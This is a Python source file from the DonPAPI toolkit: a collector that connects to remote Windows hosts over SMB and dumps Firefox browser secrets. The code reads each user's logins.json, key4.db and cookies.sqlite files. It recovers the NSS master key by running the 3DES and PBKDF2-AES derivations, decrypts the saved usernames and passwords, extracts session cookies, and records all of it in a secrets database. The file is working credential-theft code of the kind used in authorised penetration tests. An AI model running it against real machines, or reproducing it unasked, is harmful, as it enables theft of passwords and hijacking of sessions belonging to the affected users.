DonPAPI/donpapi/collectors/Firefox.py

283 lines
12 KiB
Python

import hmac
import json
import ntpath
import sqlite3
import tempfile
from os import remove
from typing import Any
from base64 import b64decode
from binascii import unhexlify
from dataclasses import dataclass
from pyasn1.codec.der import decoder
from hashlib import pbkdf2_hmac, sha1
from Cryptodome.Cipher import AES, DES3
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from donpapi.core import DonPAPICore
from donpapi.lib.logger import DonPAPIAdapter
CKA_ID = unhexlify("f8000000000000000000000000000001")
class FirefoxLoginData:
def __init__(self, winuser: str, url: str, username: str, password: str):
self.winuser = winuser
self.url = url
self.username = username
self.password = password
@dataclass
class FirefoxCookie:
winuser: str
host:str
path: str
cookie_name:str
cookie_value:str
creation_utc:str
expires_utc:str
last_access_utc:str
class Firefox:
firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list, options: Any, logger: DonPAPIAdapter, context: DonPAPICore, false_positive: list, max_filesize: int) -> None:
self.tag = self.__class__.__name__
self.target = target
self.conn = conn
self.masterkeys = masterkeys
self.options = options
self.logger = logger
self.context = context
self.false_positive = false_positive
self.max_filesize = max_filesize
def run(self):
self.logger.display("Dumping User Firefox Browser")
firefox_credentials, firefox_cookies = self.collect()
for credential in firefox_credentials:
url = credential.url + " -" if credential.url != "" else "-"
self.logger.secret(f"[{credential.winuser}] [Password] {url} {credential.username}:{credential.password}", self.tag)
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=credential.winuser, username=credential.username, password=credential.password, target=credential.url)
for cookie in firefox_cookies:
if cookie.cookie_value != "":
self.logger.secret(f"[{cookie.winuser}] [Cookie] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}", self.tag)
self.context.db.add_cookie(
computer=self.context.host,
browser=self.tag,
windows_user=cookie.winuser,
url=f"{cookie.host}{cookie.path}",
cookie_name=cookie.cookie_name,
cookie_value=cookie.cookie_value,
creation_utc=cookie.creation_utc,
expires_utc=cookie.expires_utc,
last_access_utc=cookie.last_access_utc,
)
def collect(self):
firefox_data = []
firefox_cookies = []
# list users
users = self.context.users
for user in users:
try:
directories = self.conn.remote_list_dir(share=self.context.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.debug(e)
if directories is None:
continue
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
try:
cookies_path = ntpath.join(self.firefox_generic_path.format(user),d.get_longname(),"cookies.sqlite")
cookies_data = self.conn.readFile(self.context.share, cookies_path)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.readFile(self.context.share, logins_path)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.context.share, key4_path, bypass_shared_violation=True)
if key4_data is None:
continue
key = self.get_key(key4_data=key4_data)
if key is None and self.target.password != "":
key = self.get_key(
key4_data=key4_data,
master_password=self.target.password.encode(),
)
if key is None:
continue
for username, pwd, host in logins:
decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
if password is not None and decoded_username is not None:
firefox_data.append(
FirefoxLoginData(
winuser=user,
url=host,
username=decoded_username,
password=password,
)
)
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.exception(e)
return firefox_data, firefox_cookies
def parse_cookie_data(self, windows_user, cookies_data):
cookies = []
fh = tempfile.NamedTemporaryFile(delete=False)
fh.write(cookies_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;")
for name, value, host, path, expiry, lastAccessed, creationTime in cursor:
cookies.append(
FirefoxCookie(
winuser=windows_user,
host=host,
path=path,
cookie_name=name,
cookie_value=value,
creation_utc=creationTime,
last_access_utc=lastAccessed,
expires_utc=expiry,
)
)
return cookies
def get_login_data(self, logins_data):
json_logins = json.loads(logins_data)
if "logins" not in json_logins:
return [] # No logins key in logins.json file
return [
(
self.decode_login_data(row["encryptedUsername"]),
self.decode_login_data(row["encryptedPassword"]),
row["hostname"],
)
for row in json_logins["logins"]
]
def get_key(self, key4_data, master_password=b""):
# Instead of disabling "delete" and removing the file manually,
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
# Related issue: #134
fh = tempfile.NamedTemporaryFile(delete=False)
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = next(cursor)
if row:
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
if global_salt:
try:
cursor.execute("SELECT a11,a102 FROM nssPrivate;")
for row in cursor:
if row[0]:
break
a11 = row[0]
a102 = row[1]
if a102 == CKA_ID:
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
if key is not None:
fh.close()
return key[:24]
except Exception as e:
self.logger.debug(e)
fh.close()
return b""
db.close()
fh.close()
try:
remove(fh.name)
except Exception as e:
self.logger.error(f"Error removing temporary file: {e}")
def is_master_password_correct(self, key_data, master_password=b""):
try:
entry_salt = b""
global_salt = key_data[0] # Item1
item2 = key_data[1]
decoded_item2 = decoder.decode(item2)
cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
if cleartext_data != b"password-check\x02\x02":
return "", "", ""
return global_salt, master_password, entry_salt
except Exception as e:
self.logger.debug(e)
return "", "", ""
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
return (
asn1data[0][0].asOctets(),
asn1data[0][1][1].asOctets(),
asn1data[0][2].asOctets(),
)
@staticmethod
def decrypt(key, iv, ciphertext):
"""Decrypt ciphered data (user / password) using the key previously found"""
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
nb = data[-1]
try:
return data[:-nb]
except Exception:
return data
@staticmethod
def decrypt_3des(decoded_item, master_password, global_salt):
"""User master key is also encrypted (if provided, the master_password could be used to encrypt it)"""
# See http://www.drh-consultancy.demon.co.uk/key3.html
pbeAlgo = str(decoded_item[0][0][0])
if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC
entry_salt = decoded_item[0][0][1][0].asOctets()
cipher_t = decoded_item[0][1].asOctets()
# See http://www.drh-consultancy.demon.co.uk/key3.html
hp = sha1(global_salt + master_password).digest()
pes = entry_salt + b"\x00" * (20 - len(entry_salt))
chp = sha1(hp + entry_salt).digest()
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
k = k1 + k2
iv = k[-8:]
key = k[:24]
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
return cipher.decrypt(cipher_t)
elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2
assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12"
assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9"
assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42"
# https://tools.ietf.org/html/rfc8018#page-23
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
iteration_count = int(decoded_item[0][0][1][0][1][1])
key_length = int(decoded_item[0][0][1][0][1][2])
assert key_length == 32
k = sha1(global_salt + master_password).digest()
key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length)
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()
# 04 is OCTETSTRING, 0x0e is length == 14
encrypted_value = decoded_item[0][1].asOctets()
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.decrypt(encrypted_value)